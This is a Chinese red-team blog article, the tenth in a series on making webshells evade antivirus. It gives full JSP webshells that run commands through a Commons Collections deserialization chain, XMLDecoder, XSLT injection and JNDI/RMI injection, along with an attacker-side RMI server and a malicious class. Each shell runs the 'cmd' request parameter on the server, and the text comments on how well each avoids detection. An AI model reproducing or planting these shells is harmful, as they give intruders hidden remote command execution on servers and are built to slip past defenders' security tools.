什么?你还不会webshell免杀?(十)
2022-10-19 09:33:43 Author: 红队蓝军(查看原文) 阅读量:23 收藏

本章主要讲解,如何利用通用漏洞来进行命令执行,从而达到免杀效果

常规反序列化免杀

这种方式就相当于直接触发提供一个反序列化漏洞入口,但是能否被利用,还是在于服务端本身是否存在反序列化漏洞,下面给了一个例子,使用cc1链构建的webshell。

<%@ page import="java.io.*" %>
<%@ page import="org.apache.commons.collections.Transformer" %>
<%@ page import="org.apache.commons.collections.functors.ConstantTransformer" %>
<%@ page import="org.apache.commons.collections.functors.InvokerTransformer" %>
<%@ page import="org.apache.commons.collections.functors.ChainedTransformer" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="org.apache.commons.collections.map.LazyMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.InvocationHandler" %>
<%@ page import="java.lang.annotation.Retention" %>
<%@ page import="java.lang.reflect.Proxy" %>
<%
    String cmd = request.getParameter("cmd");
    Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] 
{ String.classClass[].class }, new Object[] "getRuntime"new Class[0] }),
            new InvokerTransformer("invoke"new Class[] { Object.classObject[].class }, new Object[] nullnew Object[0] }),
            new InvokerTransformer("exec"new Class[] { String.class }, new Object[] { cmd }) };
    Transformer transformerChain = new ChainedTransformer(transformers);

    Map innermap = new HashMap();
    Map outmap = LazyMap.decorate(innermap, transformerChain);

    Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor construct = clazz.getDeclaredConstructor(Class.classMap.class);
    construct.setAccessible(true);

    InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.classoutmap);

    Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
    handler = (InvocationHandler)construct.newInstance(Retention.classproxyMap);

    ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
    outputStream.writeObject(handler);
    outputStream.close();

    ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
    inputStream.readObject();
%>

免杀效果:

可见由于调用的函数太多,特征也非常明显,这里算是提供一些思路。

XMLDecoder免杀

想必大家都分析Weblogic的xmlDecoder反序列化漏洞,XMLDecoder免杀其实就是利用XMLDecoder处理恶意的xml文件导致命令执行,并没有太多常见命令函数的特征,免杀效果不错。

<%@ page import="java.beans.XMLDecoder" %>
<%@ page import="java.io.*" %>
<%
    String cmd = request.getParameter("cmd");
    String s = "<object class=\"java.lang.ProcessBuilder\">\n" +
            "<array class=\"java.lang.String\" length=\"3\">\n" +
            "<void index=\"0\">\n" +
            "<string>cmd.exe</string>\n" +
            "</void>\n" +
            "<void index=\"1\">\n" +
            "<string>/c</string>\n" +
            "</void>\n" +
            "<void index=\"2\">\n" +
            "<string>"+cmd+"</string>\n" +
            "</void>\n" +
            "</array>\n" +
            "<void method=\"start\" />\n" +
            "</object>\n";

    XMLDecoder xd = new XMLDecoder(new ByteArrayInputStream(s.getBytes()));
    ProcessBuilder process = (ProcessBuilder) xd.readObject();
    InputStream is = process.start().getInputStream();
    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
    String r = null;
    while((r = bufferedReader.readLine())!=null){
        response.getWriter().println(r);
    }
%>

XSLT免杀

其实就是利用XSLT注入来执行命令,但值得注意的是XSLT注入笔者目前并没有想到合适的方法让内容回显,因为XSLT貌似只能执行静态方法且返回值都是以String类型返回,导致process中的数据很难取出来。

<%@ page import="java.io.*" %>
<%@ page import="javax.xml.transform.Transformer" %>
<%@ page import="javax.xml.transform.stream.StreamResult" %>
<%@ page import="javax.xml.transform.TransformerFactory" %>
<%@ page import="javax.xml.transform.stream.StreamSource" %>
<%
    String cmd = request.getParameter("cmd");
    String s = "  <xsl:stylesheet version=\"1.0\" " +
            "xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" " +
            "xmlns:rt=\"java.lang.Runtime\"> " +
            "    <xsl:template match=\"/\">\n" +
            "      <xsl:variable name=\"rtobject\" select=\"rt:getRuntime()\"/>\n" +
            "      <xsl:variable name=\"process\" select=\"rt:exec($rtobject,'"+cmd+"')\"/>\n" +
            "      <xsl:variable name=\"ddd\" select=\"$process\"/>\n" +
            "      <xsl:value-of select=\"$ddd\"/>\n" +
            "    </xsl:template>\n" +
            "  </xsl:stylesheet>";
    InputStream in = new ByteArrayInputStream(s.getBytes());
    StreamResult result = new StreamResult(new ByteArrayOutputStream());
    Transformer t = TransformerFactory.newInstance().newTransformer(new StreamSource(in));
    t.transform(new StreamSource(new ByteArrayInputStream("<?xml version=\"1.0\" encoding=\"UTF-8\"?><data></data>".getBytes())),result);

%>

JNDI注入免杀

攻击者:

package com.demo;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Demo2 {
    public static void main(String[] args) throws Exception {
        try {
            Registry registry = LocateRegistry.createRegistry(1099);
            Reference aa = new Reference("Calc""Calc""http://127.0.0.1/");
            ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
            registry.bind("hello", refObjWrapper);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

恶意类:

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class Calc implements ObjectFactory {
    public Calc() {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
        }
    }
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        System.out.println(nameCtx);
        //Runtime.getRuntime().exec("calc");
        return null;
    }
}

webshell:

<%@ page import="javax.naming.Context" %>
<%@ page import="javax.naming.InitialContext" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
    try {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase""true");
        String uri = "rmi://127.0.0.1:1099/hello";
        Context ctx = new InitialContext();
        ctx.lookup(uri);
    } catch (Exception e) {
        e.printStackTrace();
    }
%>

总结:

本章主要是通过自己创造漏洞来执行命令,而我们用到的这些函数其实也是业务中比较常见的函数,且如果不了解漏洞原理,也不好分析是否是webshell

往期推荐

什么?你还不会webshell免杀?(九)

什么?你还不会webshell免杀?(八)

什么?你还不会webshell免杀?(七)

什么?你还不会webshell免杀?(六)

什么?你还不会webshell免杀?(五)

什么?你还不会webshell免杀?(四)

什么?你还不会webshell免杀?(三)

什么?你还不会webshell免杀?(二)

什么?你还不会webshell免杀?(一)


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NDY2MTQ1OQ==&mid=2247503993&idx=1&sn=6777c400219f28f3ec2d10a10eb88cd5&chksm=ce676ac5f910e3d32301ee99d320f870d9e68635cd21a7ef8c4e8853fd9309232d2335227122#rd
如有侵权请联系:admin#unsafe.sh